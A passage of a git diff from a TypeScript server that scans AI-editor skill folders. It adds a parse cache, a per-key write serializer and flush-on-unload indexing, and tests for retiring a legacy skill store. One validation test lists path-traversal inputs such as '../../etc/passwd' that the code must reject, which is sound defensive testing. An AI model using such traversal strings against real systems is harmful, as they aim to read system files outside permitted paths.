+ const byPrecedence = [...roots]
+ .filter((r) => r.editor !== 'agents')
+ .sort((a, b) => {
+ const ra = SKILL_CANONICAL_PRECEDENCE.indexOf(a.editor);
+ const rb = SKILL_CANONICAL_PRECEDENCE.indexOf(b.editor);
+ return (
+ (ra === -1 ? SKILL_CANONICAL_PRECEDENCE.length : ra) -
+ (rb === -1 ? SKILL_CANONICAL_PRECEDENCE.length : rb)
+ );
+ });
+ for (const { root } of byPrecedence) {
+ if (existsSync(join(base, root))) return root;
+ }
+ // No existing host dir: default to `.claude/skills` (same for both scopes).
+ return '.claude/skills';
+}
+
+/**
+ * Cheap change-stamp for a bundle dir: every file's relpath+size+mtime from a
+ * stat-only walk (follows symlinks, so a linked bundle stamps its target). An
+ * order of magnitude cheaper than reading + hashing the contents.
+ */
+function bundleStamp(absDir: string): string | null {
+ const parts: string[] = [];
+ const walk = (dir: string, rel: string): void => {
+ for (const e of readdirSync(dir, { withFileTypes: true })) {
+ const p = join(dir, e.name);
+ const r = rel === '' ? e.name : `${rel}/${e.name}`;
+ const st = statSync(p);
+ if (st.isDirectory()) walk(p, r);
+ else parts.push(`${r}:${st.size}:${st.mtimeMs}`);
+ }
+ };
+ try {
+ walk(absDir, '');
+ } catch {
+ return null;
+ }
+ return parts.sort().join('|');
+}
+
+/** Stamp-keyed parse cache: the scan runs on every `/api/skills` AND after
+ * every install mutation, re-hashing every bundle (project + the user's whole
+ * `~/.claude/skills` at global tier) — the reported UI slowness. Unchanged
+ * bundles (stamp match) skip the content read entirely. Bounded in practice
+ * by the number of skill dirs on the machine. */
+const parseCache = new Map<string, { stamp: string; contentHash: string; description: string }>();
+
+function parseSkillDirCached(absDir: string): { contentHash: string; description: string } | null {
+ const stamp = bundleStamp(absDir);
+ if (stamp === null) return null;
+ const hit = parseCache.get(absDir);
+ if (hit !== undefined && hit.stamp === stamp) return hit;
+ const parsed = parseSkillDir(absDir);
+ if (!parsed) return null;
+ const entry = { stamp, contentHash: parsed.contentHash, description: parsed.description };
+ parseCache.set(absDir, entry);
+ return entry;
+}
+
+function scanBase(base: string, scope: SkillScope): InPlaceSkill[] {
+ const occurrences: ScanOccurrence[] = [];
+ const sourcePrefs = readSourceHostPrefs(base);
+ // Editor host roots + known custom roots for this scope — the SAME set the
+ // Folders surface uses, so scan and folder verbs can't derive roots two ways.
+ const allRoots = knownSkillRootsFor(base, scope);
+
+ let baseReal: string | null = null;
+ try {
+ baseReal = realpathSync(base);
+ } catch {
+ baseReal = null;
+ }
+ for (const { editor, root } of allRoots) {
+ const absRoot = join(base, root);
+ let entries: string[];
+ let rootAliased = false;
+ try {
+ if (!existsSync(absRoot)) continue;
+ // An aliased root (the folder or a parent is a symlink) exposes VIEWS of
+ // another location: its occurrences must never win election — a
+ // canonical recorded at an alias path renders as an orphan location.
+ rootAliased = baseReal !== null && realpathSync(absRoot) !== join(baseReal, root);
+ entries = readdirSync(absRoot);
+ } catch {
+ continue;
+ }
+ for (const entry of entries) {
+ const absDir = join(absRoot, entry);
+ try {
+ if (!statSync(absDir).isDirectory()) continue; // follows links: a symlinked bundle counts
+ const parsed = parseSkillDirCached(absDir);
+ if (!parsed) continue; // no SKILL.md → not a skill bundle
+ occurrences.push({
+ // Dir basename is the projection identity (install copies keep it),
+ // not the frontmatter name which is display-only.
+ name: entry,
+ scope,
+ editor: editor as SkillHostId,
+ contentHash: parsed.contentHash,
+ dir: `${root}/${entry}`,
+ description: parsed.description,
+ viaLink: rootAliased || lstatSync(absDir).isSymbolicLink(),
+ ...(rootAliased ? { aliasRooted: true } : {}),
+ ...(sourcePrefs[entry] === editor ? { preferredSource: true } : {}),
+ });
+ } catch {
+ // unreadable / vanished mid-scan — skip this bundle
+ }
+ }
+ }
+
+ const { admittedDirs, canonicalDir } = buildSkillRegistry(occurrences);
+ // Where a host-LESS lookup of each name lands. Several distinct-content
+ // bundles can share a name, so `.find(s => s.name === n)` is only safe if the
+ // default sorts first — otherwise every by-name caller silently resolves in
+ // content-hash order. Ordering it here fixes all of them at once.
+ const byNameDefaults = new Set(canonicalDir.values());
+ return (
+ groupSkillsByIdentity(occurrences)
+ .filter((g) => admittedDirs.has(g.canonical.dir))
+ // Two same-named bundles are two skills only when the divergence is the
+ // user's: a copy tracks its source until someone hand-edits it, and THAT is
+ // what makes it its own thing. OK's own bundles have neither half — they are
+ // read-only here and OK ships their bytes — so a projection that drifted
+ // from the shipped one is a stale artifact, not a second skill. One row.
+ .filter((g) => byNameDefaults.has(g.canonical.dir) || !isInternalBundleSkillName(g.name))
+ .sort(
+ (a, b) =>
+ a.name.localeCompare(b.name) ||
+ Number(byNameDefaults.has(b.canonical.dir)) -
+ Number(byNameDefaults.has(a.canonical.dir)) ||
+ a.contentHash.localeCompare(b.contentHash),
+ )
+ .map((g) => {
+ // Occurrences that are PHYSICALLY the canonical folder reached through a
+ // parent-directory symlink (e.g. a sync tool making `.codex/skills` a
+ // dir-link to `.agents/skills`): the leaf isn't a link, so it reads as a
+ // real dir — but it's the SAME inode as the source, not an independent
+ // copy. Disclose as VIA (loads through the source's folder); treating it
+ // as a copy showed a false COPY tag the mode buttons could never change.
+ let canonicalReal: string | null = null;
+ try {
+ canonicalReal = realpathSync(join(base, g.canonical.dir));
+ } catch {
+ canonicalReal = null;
+ }
+ const isSameInode = (dir: string): boolean => {
+ if (canonicalReal === null) return false;
+ try {
+ return realpathSync(join(base, dir)) === canonicalReal;
+ } catch {
+ return false;
+ }
+ };
+ const realCopies = g.copies.filter(
+ (c) => c.aliasRooted !== true && (c.viaLink || !isSameInode(c.dir)),
+ );
+ const conflictHosts = occurrences
+ .filter((o) => o.name === g.canonical.name && o.contentHash !== g.contentHash)
+ .map((o) => o.editor);
+ // `hosts` = PHYSICAL locations only (canonical + independent copies).
+ // Alias-covered viewers are NOT locations — they surface as audience
+ // icons via `scanHostRootAliases`, never as installed-location counts.
+ return {
+ name: g.canonical.name,
+ description: g.canonical.description,
+ dir: g.canonical.dir,
+ hosts: [g.canonical.editor, ...realCopies.map((c) => c.editor)],
+ linkedHosts: [g.canonical, ...realCopies].filter((o) => o.viaLink).map((o) => o.editor),
+ conflictHosts,
+ copyDirs: realCopies.filter((c) => !c.viaLink).map((c) => c.dir),
+ contentHash: g.contentHash,
+ };
+ })
+ );
+}
+
+/**
+ * Scan `contentDir`'s editor host dirs for in-place skill bundles, dedup via the
+ * registry, and return one entry per distinct-content skill (same-content copies
+ * excluded). Missing dirs / unreadable bundles are skipped, never thrown.
+ */
+export function scanInPlaceSkills(contentDir: string): InPlaceSkill[] {
+ return scanBase(contentDir, 'project');
+}
+
+/**
+ * GLOBAL tier of the same scan: the user home's editor skill dirs
+ * (`~/.claude/skills`, `~/.agents/skills`, `~/.pi/agent/skills`, …). `dir` is
+ * home-relative. Callers exclude `~/.ok/skills` store names (store wins) and
+ * OK's reserved built-ins.
+ */
+export function scanGlobalInPlaceSkills(home: string): InPlaceSkill[] {
+ return scanBase(home, 'global');
+}
+
+/** User skill roots in canonical-precedence order (unlisted hosts last, stable). */
+const USER_ROOTS_BY_PRECEDENCE = [...USER_SKILL_ROOTS].sort((a, b) => {
+ const ra = SKILL_CANONICAL_PRECEDENCE.indexOf(a.editor);
+ const rb = SKILL_CANONICAL_PRECEDENCE.indexOf(b.editor);
+ const na = ra === -1 ? SKILL_CANONICAL_PRECEDENCE.length : ra;
+ const nb = rb === -1 ? SKILL_CANONICAL_PRECEDENCE.length : rb;
+ return na - nb || a.editor.localeCompare(b.editor);
+});
+
+/**
+ * Resolve a GLOBAL skill name to its native bundle dir (absolute), or null.
+ * A cheap precedence-ordered existence probe — the resolution twin of
+ * `scanGlobalInPlaceSkills` for hot paths (`managedArtifactAbsPath`) that
+ * can't afford a full hash scan. First existing dir in precedence order ==
+ * the registry's by-name default dir, since both orders derive from
+ * `SKILL_CANONICAL_PRECEDENCE`. When one name has several distinct-content
+ * bundles this resolves the default one, same as any other host-less lookup.
+ */
+export function resolveGlobalNativeSkillDir(home: string, name: string): string | null {
+ for (const { root } of USER_ROOTS_BY_PRECEDENCE) {
+ const dir = join(home, root, name);
+ try {
+ if (existsSync(join(dir, 'SKILL.md'))) return dir;
+ } catch {
+ // unreadable root — skip
+ }
+ }
+ return null;
+}
+
+/**
+ * The contentDir-relative canonical bundle dirs to admit as content (the
+ * `ContentFilter.inPlaceSkillDirs` allow-list).
+ */
+export function scanInPlaceSkillDirs(contentDir: string): ReadonlySet<string> {
+ return new Set(scanInPlaceSkills(contentDir).map((s) => s.dir));
+}
diff --git a/packages/server/src/index.ts b/packages/server/src/index.ts
index 9bfbd3d32..c714e2f67 100644
--- a/packages/server/src/index.ts
+++ b/packages/server/src/index.ts
@@ -541,13 +541,6 @@ export {
type SkillInstallEventOutcome,
type SkillInstallEventSurface,
} from './skill-install-events.ts';
-export {
- isProjectSkillManaged,
- readSkillManagement,
- type SkillManagement,
- skillManagementPath,
- writeSkillManagement,
-} from './skill-management.ts';
export {
readAllTargets,
readBundleDecision,
diff --git a/packages/server/src/installed-skills-marker.ts b/packages/server/src/installed-skills-marker.ts
index 7b2316a2f..027843c58 100644
--- a/packages/server/src/installed-skills-marker.ts
+++ b/packages/server/src/installed-skills-marker.ts
@@ -26,12 +26,13 @@ import {
} from '@inkeep/open-knowledge-core';
import { atomicWriteFile } from '@inkeep/open-knowledge-core/server';
import { tracedMkdir, tracedRename, tracedWriteFile } from './fs-traced.ts';
+import { createKeyedSerializer } from './keyed-serializer.ts';
import { getLogger } from './logger.ts';
const logger = getLogger('installed-skills-marker');
/** Routes core's atomic write through the server's traced fs primitives. */
-const TRACED_FS_ADAPTER = {
+export const TRACED_FS_ADAPTER = {
writeFile: (path: string, content: string, opts: { encoding: 'utf-8'; mode?: number }) =>
tracedWriteFile(path, content, opts),
rename: (from: string, to: string) => tracedRename(from, to),
@@ -47,24 +48,11 @@ export function installedSkillsPath(projectDir: string): string {
* `removeSkillInstall` each read the whole marker, merge one entry, and rewrite
* — two concurrent calls (e.g. parallel MCP installs of different skills) would
* otherwise read the same snapshot and the second write would clobber the
- * first's entry. The server is single-per-contentDir (server.lock), so an
- * in-process promise chain keyed by marker path is sufficient.
+ * first's entry.
*/
-const markerWriteChains = new Map<string, Promise<unknown>>();
+const serializeMarkerWrite = createKeyedSerializer();
function withMarkerLock<T>(projectDir: string, fn: () => Promise<T>): Promise<T> {
- const key = installedSkillsPath(projectDir);
- const prior = markerWriteChains.get(key) ?? Promise.resolve();
- const run = prior.then(fn, fn);
- // Tail swallows errors so one failed write doesn't poison the chain for the
- // next caller (the failure still rejects the `run` returned to this caller).
- markerWriteChains.set(
- key,
- run.then(
- () => undefined,
- () => undefined,
- ),
- );
- return run;
+ return serializeMarkerWrite(installedSkillsPath(projectDir), fn);
}
/**
diff --git a/packages/server/src/keyed-serializer.ts b/packages/server/src/keyed-serializer.ts
new file mode 100644
index 000000000..5e9a7ea8f
--- /dev/null
+++ b/packages/server/src/keyed-serializer.ts
@@ -0,0 +1,34 @@
+/**
+ * Run async work one-at-a-time per key.
+ *
+ * Every JSON state file this server owns is mutated read-whole → edit →
+ * write-whole, with an await in the middle. Callers routinely fire several at
+ * once — converting each of a skill's locations, installing several skills —
+ * and unserialized they all read the same snapshot and then overwrite each
+ * other, so only the last writer's edit survives. The surrounding work usually
+ * succeeds (separate paths on disk), which makes the loss silent: the file ends
+ * up disagreeing with what is actually there.
+ *
+ * The server is single-per-contentDir (`server.lock`), so an in-process chain
+ * keyed by file path is enough; a store that other processes also write (the
+ * user-global skill state, reachable from the CLI and the desktop app at once)
+ * needs a real file lock instead.
+ */
+export function createKeyedSerializer(): <T>(key: string, fn: () => Promise<T>) => Promise<T> {
+ const chains = new Map<string, Promise<unknown>>();
+ return <T>(key: string, fn: () => Promise<T>): Promise<T> => {
+ const prior = chains.get(key) ?? Promise.resolve();
+ const run = prior.then(fn, fn);
+ // The stored tail swallows errors so one failed run does not poison the
+ // chain for the next caller. The failure still rejects the promise this
+ // caller received.
+ chains.set(
+ key,
+ run.then(
+ () => undefined,
+ () => undefined,
+ ),
+ );
+ return run;
+ };
+}
diff --git a/packages/server/src/live-derived-index.test.ts b/packages/server/src/live-derived-index.test.ts
index 10aeaf3b9..bf163f503 100644
--- a/packages/server/src/live-derived-index.test.ts
+++ b/packages/server/src/live-derived-index.test.ts
@@ -160,7 +160,7 @@ describe('createLiveDerivedIndexExtension', () => {
await conn.disconnect();
});
- test('beforeUnloadDocument cancels pending timers', async () => {
+ test('beforeUnloadDocument flushes the pending update instead of dropping it', async () => {
const recordLiveDocument = vi.fn(async () => {});
const extension = createLiveDerivedIndexExtension({
derivedDocumentIndex: createDerivedIndexPort(recordLiveDocument),
@@ -181,9 +181,16 @@ describe('createLiveDerivedIndexExtension', () => {
documentName: 'unload-doc',
instance: hp,
});
- await wait(40);
+ // The update must already have been applied by the unload itself, before
+ // the debounce would have fired. Dropping it instead leaves the doc's links
+ // and tags missing from the derived views with nothing left to re-index
+ // them: a write followed by a prompt unload never registers at all.
+ expect(recordLiveDocument).toHaveBeenCalledTimes(1);
+ expect(recordLiveDocument.mock.calls[0]?.[1]).toContain('# Hello');
- expect(recordLiveDocument).not.toHaveBeenCalled();
+ await wait(40);
+ // ...and the cancelled timer does not fire a second time.
+ expect(recordLiveDocument).toHaveBeenCalledTimes(1);
await conn.disconnect();
});
diff --git a/packages/server/src/live-derived-index.ts b/packages/server/src/live-derived-index.ts
index 4962582c5..d78c0b74e 100644
--- a/packages/server/src/live-derived-index.ts
+++ b/packages/server/src/live-derived-index.ts
@@ -48,42 +48,76 @@ export function createLiveDerivedIndexExtension(options: LiveDerivedIndexOptions
onDocumentSettled,
debounceMs = LIVE_DERIVED_INDEX_DEBOUNCE_MS,
} = options;
- const pendingByDoc = new Map<string, ReturnType<typeof setTimeout>>();
+ // The document and its capture token ride along with the timer so a pending
+ // update can be APPLIED on unload, not just cancelled.
+ const pendingByDoc = new Map<
+ string,
+ { timer: ReturnType<typeof setTimeout>; document: Document; token: number }
+ >();
function clearPending(docName: string): void {
const pending = pendingByDoc.get(docName);
if (pending) {
- clearTimeout(pending);
+ clearTimeout(pending.timer);
pendingByDoc.delete(docName);
}
}
+ function runUpdate(docName: string, document: Document, token: number): Promise<void> {
+ let markdown: string;
+ try {
+ markdown = serializeLiveDocument(document);
+ } catch (err) {
+ getLogger('live-derived-index').error(
+ { docName, err },
+ `Failed to update derived views for ${docName}`,
+ );
+ return Promise.resolve();
+ }
+ return derivedDocumentIndex
+ .recordLiveDocument(docName, markdown, token)
+ .then(() => {
+ // Anchors are measured against the doc BODY, not the source bytes
+ // above, so the consumer re-reads rather than reusing `markdown`.
+ // Lives here rather than at the debounce call site so the
+ // apply-on-unload path notifies too.
+ onDocumentSettled?.(docName);
+ })
+ .catch((err) => {
+ getLogger('live-derived-index').error(
+ { docName, err },
+ `Failed to update derived views for ${docName}`,
+ );
+ });
+ }
+
+ /**
+ * Apply a pending update NOW rather than waiting out its debounce. A document
+ * that unloads inside the debounce window would otherwise lose the update
+ * entirely, leaving its links and tags absent from the derived views until
+ * something else re-indexes it — a write followed by a prompt unload (an
+ * API-only create on an idle server, say) would simply never register.
+ */
+ async function flushPending(docName: string): Promise<void> {
+ const pending = pendingByDoc.get(docName);
+ if (!pending) return;
+ clearTimeout(pending.timer);
+ pendingByDoc.delete(docName);
+ // Awaited, unlike the debounced path: the document is going away, so the
+ // record has to land before the unload completes.
+ await runUpdate(docName, pending.document, pending.token);
+ }
+
function schedule(docName: string, document: Document, token: number): void {
clearPending(docName);
- pendingByDoc.set(
- docName,
- setTimeout(() => {
+ pendingByDoc.set(docName, {
+ document,
+ token,
+ timer: setTimeout(() => {
pendingByDoc.delete(docName);
- try {
- const markdown = serializeLiveDocument(document);
- void derivedDocumentIndex.recordLiveDocument(docName, markdown, token).catch((err) => {
- getLogger('live-derived-index').error(
- { docName, err },
- `Failed to update derived views for ${docName}`,
- );
- });
- // Anchors are measured against the doc BODY, not the source bytes
- // above — so this re-reads rather than reusing `markdown`, which
- // still carries the frontmatter region.
- onDocumentSettled?.(docName);
- } catch (err) {
- getLogger('live-derived-index').error(
- { docName, err },
- `Failed to update derived views for ${docName}`,
- );
- }
+ void runUpdate(docName, document, token);
}, debounceMs),
- );
+ });
}
return {
@@ -110,12 +144,12 @@ export function createLiveDerivedIndexExtension(options: LiveDerivedIndexOptions
},
async beforeUnloadDocument({ documentName }) {
- clearPending(documentName);
+ await flushPending(documentName);
},
async onDestroy() {
- for (const timeout of pendingByDoc.values()) {
- clearTimeout(timeout);
+ for (const { timer } of pendingByDoc.values()) {
+ clearTimeout(timer);
}
pendingByDoc.clear();
},
diff --git a/packages/server/src/local-op-security.ts b/packages/server/src/local-op-security.ts
index 2dcf15274..d749220e2 100644
--- a/packages/server/src/local-op-security.ts
+++ b/packages/server/src/local-op-security.ts
@@ -15,6 +15,7 @@ import { lstatSync, realpathSync } from 'node:fs';
import type { IncomingMessage, ServerResponse } from 'node:http';
import { homedir } from 'node:os';
import { basename, dirname, isAbsolute, join, relative, resolve } from 'node:path';
+import { ALLOWED_GIT_TRANSPORTS } from '@inkeep/open-knowledge-core/skills-catalog';
import { errorResponse } from './http/error-response.ts';
import { errnoCode } from './http/handler-utils.ts';
import { getLogger } from './logger.ts';
@@ -24,12 +25,9 @@ const log = getLogger('local-op-security');
// ─── Protocol checks ─────────────────────────────────────────────────────────
-const ALLOWED_URL_PATTERNS: RegExp[] = [
- /^https?:\/\//i,
- /^ssh:\/\//i,
- /^git:\/\//i,
- /^git@[^:]+:/, // SCP-style: [email protected]:owner/repo
-];
+// One list, defined in core, so the two enforcement points cannot drift. The
+// BLOCKED patterns below stay additive on top of it as defence in depth.
+const ALLOWED_URL_PATTERNS: readonly RegExp[] = ALLOWED_GIT_TRANSPORTS;
const BLOCKED_URL_PATTERNS: RegExp[] = [
/^file:\/\//i,
diff --git a/packages/server/src/managed-artifact-persistence.test.ts b/packages/server/src/managed-artifact-persistence.test.ts
index efc35c86d..1ffc69895 100644
--- a/packages/server/src/managed-artifact-persistence.test.ts
+++ b/packages/server/src/managed-artifact-persistence.test.ts
@@ -1,10 +1,19 @@
-import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import {
+ existsSync,
+ mkdirSync,
+ mkdtempSync,
+ readdirSync,
+ readFileSync,
+ rmSync,
+ writeFileSync,
+} from 'node:fs';
import { tmpdir } from 'node:os';
import { join, resolve } from 'node:path';
import { LINEAGE_EPOCH_KEY } from '@inkeep/open-knowledge-core';
import { afterEach, beforeEach, describe, expect, test } from 'vitest';
import * as Y from 'yjs';
import { FILE_WATCHER_ORIGIN } from './external-change.ts';
+import { registerExternalSkill, unregisterExternalSkill } from './external-skill-registry.ts';
import {
applyExternalManagedArtifactChange,
loadManagedArtifactDoc,
@@ -42,13 +51,47 @@ afterEach(() => {
});
describe('managedArtifactAbsPath', () => {
- test('project + global scope resolve under the right .ok/skills root', () => {
+ test('global with no native/store resolves to the IN-PLACE default home, never the store', () => {
const ctx = makeCtx();
+ // Project managed docs keep the legacy `.ok/skills` content path (project
+ // skills open as content docs; this branch is effectively dead).
expect(managedArtifactAbsPath('__skill__/project/my-skill', ctx)).toBe(
resolve(projectDir, '.ok', 'skills', 'my-skill', 'SKILL.md'),
);
+ // Store retirement: a global skill with neither a native copy nor a store
+ // resident resolves to the in-place default home — NEVER `~/.ok/skills`.
+ // Defaulting to the store re-created the remnant on every stray global write
+ // (a global doc autosaving after the skill was moved away). Fresh home has no
+ // editor dirs → `.claude/skills`.
expect(managedArtifactAbsPath('__skill__/global/my-skill', ctx)).toBe(
- resolve(home, '.ok', 'skills', 'my-skill', 'SKILL.md'),
+ resolve(home, '.claude', 'skills', 'my-skill', 'SKILL.md'),
+ );
+ });
+
+ test('global skill absent from the store resolves to its native editor dir (R12)', () => {
+ const ctx = makeCtx();
+ // Native-only skill: `~/.claude/skills/native-one` and no store entry.
+ const nativeDir = resolve(home, '.claude', 'skills', 'native-one');
+ mkdirSync(nativeDir, { recursive: true });
+ writeFileSync(join(nativeDir, 'SKILL.md'), '---\nname: native-one\ndescription: d\n---\n# N');
+ expect(managedArtifactAbsPath('__skill__/global/native-one', ctx)).toBe(
+ resolve(nativeDir, 'SKILL.md'),
+ );
+ // Bundle files resolve inside the native dir too.
+ expect(managedArtifactAbsPath('__skill__/global/native-one/references/x', ctx)).toBe(
+ resolve(nativeDir, 'references', 'x.md'),
+ );
+ // Store retirement: NATIVE wins even when a legacy store resident also
+ // exists (was: store wins). The store is drained, never re-blessed.
+ const storeDir = resolve(home, '.ok', 'skills', 'native-one');
+ mkdirSync(storeDir, { recursive: true });
+ writeFileSync(join(storeDir, 'SKILL.md'), '---\nname: native-one\ndescription: d\n---\n# S');
+ expect(managedArtifactAbsPath('__skill__/global/native-one', ctx)).toBe(
+ resolve(nativeDir, 'SKILL.md'),
+ );
+ // A PROJECT-scope name never probes user dirs.
+ expect(managedArtifactAbsPath('__skill__/project/native-one', ctx)).toBe(
+ resolve(projectDir, '.ok', 'skills', 'native-one', 'SKILL.md'),
);
});
@@ -57,9 +100,10 @@ describe('managedArtifactAbsPath', () => {
for (const bad of [
'__skill__/project/..',
'__skill__/project/../../etc/passwd',
- '__skill__/project/foo/bar', // slash in name (decoded)
- '__skill__/project/Foo', // uppercase
- '__skill__/project/foo.bar', // dot
+ '__skill__/project/foo/../bar', // rel escape (`..` in the bundle path)
+ '__skill__/global/foo/references/../../escape', // rel escape (global)
+ '__skill__/project/Foo', // uppercase name
+ '__skill__/project/foo.bar', // dot in name
'__skill__/project/', // empty name
'__skill__/bogus/foo', // bad scope
'notes/foo', // not managed-artifact
@@ -68,6 +112,36 @@ describe('managedArtifactAbsPath', () => {
}
});
+ test('resolves a bundle FILE (rel) inside the resolved skill dir (per-file editability)', () => {
+ const ctx = makeCtx();
+ // Store retirement: with no native/store, a global skill resolves under the
+ // in-place default home (`.claude/skills` in a fresh home), not `.ok/skills`.
+ // Not-yet-created file → ext-less doc name binds to `.md` by default.
+ expect(managedArtifactAbsPath('__skill__/global/demo/references/patterns', ctx)).toBe(
+ resolve(home, '.claude', 'skills', 'demo', 'references', 'patterns.md'),
+ );
+ // An existing `.mdx` on disk wins over the default `.md` (resolved dir).
+ const dir = resolve(home, '.claude', 'skills', 'demo', 'references');
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(resolve(dir, 'guide.mdx'), '# G\n', 'utf-8');
+ expect(managedArtifactAbsPath('__skill__/global/demo/references/guide', ctx)).toBe(
+ resolve(dir, 'guide.mdx'),
+ );
+ });
+
+ test('store retirement: a legacy store resident with NO native is still read (drain-pending)', () => {
+ const ctx = makeCtx();
+ // Only a `~/.ok/skills` resident, no native copy: reads still resolve to it
+ // so an un-drained skill stays editable until the boot migration relocates
+ // it. (Once a native exists, native wins — covered above.)
+ const storeDir = resolve(home, '.ok', 'skills', 'legacy-only');
+ mkdirSync(storeDir, { recursive: true });
+ writeFileSync(join(storeDir, 'SKILL.md'), '---\nname: legacy-only\ndescription: d\n---\n# L');
+ expect(managedArtifactAbsPath('__skill__/global/legacy-only', ctx)).toBe(
+ resolve(storeDir, 'SKILL.md'),
+ );
+ });
+
test('templates resolve folder-addressed under <folder>/.ok/templates/<name>.md', () => {
const ctx = makeCtx();
// Root template (empty folder).
@@ -248,6 +322,14 @@ describe('concurrent-writer reconcile', () => {
expect(outcome).toBe('reconciled');
expect(readFileSync(path, 'utf-8')).toBe(otherWriter); // disk preserved
expect(reconciled.get(docName)).toBe(otherWriter);
+
+ // R7 data-safety: the user's replaced bytes are stashed out-of-tree,
+ // bounded per doc — "keep mine" stays recoverable.
+ const safe = docName.replace(/[^A-Za-z0-9._-]+/g, '__');
+ const stashDir = resolve(home, '.ok', 'edit-backups', 'discarded', safe);
+ const stashed = readdirSync(stashDir);
+ expect(stashed).toHaveLength(1);
+ expect(readFileSync(resolve(stashDir, stashed[0] as string), 'utf-8')).toContain('local edit');
});
/**
@@ -352,6 +434,33 @@ describe('managedArtifactDocNameForPath (reverse resolver)', () => {
expect(
managedArtifactDocNameForPath(resolve(home, '.ok/skills/notes-helper/SKILL.md'), ctx),
).toBe('__skill__/global/notes-helper');
+ // A global skill's `.md`/`.mdx` bundle FILE maps to its per-file live doc
+ // (ext-less); non-md files (scripts, binary) do not.
+ expect(
+ managedArtifactDocNameForPath(resolve(home, '.ok/skills/nh/references/patterns.md'), ctx),
+ ).toBe('__skill__/global/nh/references/patterns');
+ expect(
+ managedArtifactDocNameForPath(resolve(home, '.ok/skills/nh/references/guide.mdx'), ctx),
+ ).toBe('__skill__/global/nh/references/guide');
+ expect(
+ managedArtifactDocNameForPath(resolve(home, '.ok/skills/nh/scripts/run.sh'), ctx),
+ ).toBeNull();
+ });
+
+ test('maps NATIVE-root global skill leaves (in-place skills), same doc names as the store', () => {
+ const ctx = makeCtx();
+ // The skills watcher watches every global root, so the reverse mapping must
+ // cover the native user roots too — a `.agents`/`.claude` event that maps to
+ // null is silently dropped and an open-but-empty doc never seeds from disk.
+ expect(
+ managedArtifactDocNameForPath(resolve(home, '.agents/skills/notes-helper/SKILL.md'), ctx),
+ ).toBe('__skill__/global/notes-helper');
+ expect(
+ managedArtifactDocNameForPath(resolve(home, '.claude/skills/nh/references/patterns.md'), ctx),
+ ).toBe('__skill__/global/nh/references/patterns');
+ expect(
+ managedArtifactDocNameForPath(resolve(home, '.agents/skills/nh/scripts/run.sh'), ctx),
+ ).toBeNull();
});
test('maps a template .md leaf back to its folder-addressed doc name', () => {
@@ -372,6 +481,7 @@ describe('managedArtifactDocNameForPath (reverse resolver)', () => {
// not round-trip through the managed-artifact reverse resolver anymore.
for (const name of [
'__skill__/global/beta-2',
+ '__skill__/global/beta-2/references/patterns', // per-file bundle doc
'__template__/daily',
'__template__/notes/sub/meeting',
]) {
@@ -435,9 +545,19 @@ describe('managedArtifactContributorAttribution (editor-edit versioning)', () =>
});
describe('managedArtifactSkillsRoots', () => {
- test('returns the global skills root only (project skills are content)', () => {
+ test('covers every native user root, with the legacy store included but not privileged', () => {
const ctx = makeCtx();
- expect(managedArtifactSkillsRoots(ctx)).toEqual([resolve(home, '.ok', 'skills')]);
+ const roots = managedArtifactSkillsRoots(ctx);
+ // Global skills live IN PLACE, so the native roots are what matters here.
+ expect(roots).toContain(resolve(home, '.claude', 'skills'));
+ expect(roots).toContain(resolve(home, '.agents', 'skills'));
+ // The retired store is still watched — a resident that collides at its
+ // migration target never drains — but it is an ordinary member of the list,
+ // NOT the first entry it used to be pinned as.
+ expect(roots).toContain(resolve(home, '.ok', 'skills'));
+ expect(roots[0]).not.toBe(resolve(home, '.ok', 'skills'));
+ // All under the ctx home — no absolute leaks from another machine state.
+ expect(roots.every((r) => r.startsWith(home))).toBe(true);
});
});
@@ -477,3 +597,84 @@ describe('managedArtifactTimelinePaths', () => {
expect(managedArtifactTimelinePaths('docs/getting-started')).toEqual({ managed: false });
});
});
+
+describe('__extskill__ editable-unmanaged skill — guarded external write-back', () => {
+ const docName = '__extskill__/borrowed';
+ let skillDir: string; // a detected skill living OUTSIDE projectDir/home
+
+ beforeEach(() => {
+ skillDir = mkdtempSync(join(tmpdir(), 'ok-extskill-'));
+ writeFileSync(join(skillDir, 'SKILL.md'), '---\nname: borrowed\n---\n\n# Original\n');
+ });
+ afterEach(() => {
+ unregisterExternalSkill('borrowed');
+ rmSync(skillDir, { recursive: true, force: true });
+ });
+
+ test('unregistered doc is a no-op (load seeds nothing, store writes nothing)', async () => {
+ const ctx = makeCtx();
+ const doc = new Y.Doc();
+ loadManagedArtifactDoc(doc, docName, ctx);
+ expect(doc.getText('source').length).toBe(0);
+ doc.transact(() => doc.getText('source').insert(0, 'edit'), 'agent');
+ expect(await storeManagedArtifactDoc(doc, docName, 'agent', ctx)).toBe('no-op');
+ });
+
+ test('load seeds from the real harness file; store writes back byte-identical', async () => {
+ registerExternalSkill('borrowed', skillDir);
+ const ctx = makeCtx();
+ const doc = new Y.Doc();
+ loadManagedArtifactDoc(doc, docName, ctx);
+ expect(doc.getText('source').toString()).toBe('---\nname: borrowed\n---\n\n# Original\n');
+
+ const edited = '---\nname: borrowed\n---\n\n# Edited café 日本語\n';
+ doc.transact(() => {
+ const src = doc.getText('source');
+ src.delete(0, src.length);
+ src.insert(0, edited);
+ }, 'agent');
+ expect(await storeManagedArtifactDoc(doc, docName, 'agent', ctx)).toBe('persisted');
+ // The write landed on the REAL harness file, verbatim (precedent #57).
+ expect(readFileSync(join(skillDir, 'SKILL.md'), 'utf-8')).toBe(edited);
+ });
+
+ test('a bundle FILE (references/x) binds the ext-less doc name to the real .md and writes back', async () => {
+ // The reference-file doc name is ext-less; it must resolve to the real
+ // `references/anti-patterns.md` on disk (not an extension-less path), load
+ // its bytes, and autosave back to that same file.
+ mkdirSync(join(skillDir, 'references'), { recursive: true });
+ writeFileSync(join(skillDir, 'references', 'anti-patterns.md'), '# Anti-patterns\n');
+ registerExternalSkill('borrowed', skillDir);
+ const bundleDoc = '__extskill__/borrowed/references/anti-patterns';
+ const ctx = makeCtx();
+ const doc = new Y.Doc();
+ loadManagedArtifactDoc(doc, bundleDoc, ctx);
+ expect(doc.getText('source').toString()).toBe('# Anti-patterns\n');
+
+ const edited = '# Anti-patterns edited\n';
+ doc.transact(() => {
+ const src = doc.getText('source');
+ src.delete(0, src.length);
+ src.insert(0, edited);
+ }, 'agent');
+ expect(await storeManagedArtifactDoc(doc, bundleDoc, 'agent', ctx)).toBe('persisted');
+ expect(readFileSync(join(skillDir, 'references', 'anti-patterns.md'), 'utf-8')).toBe(edited);
+ });
+
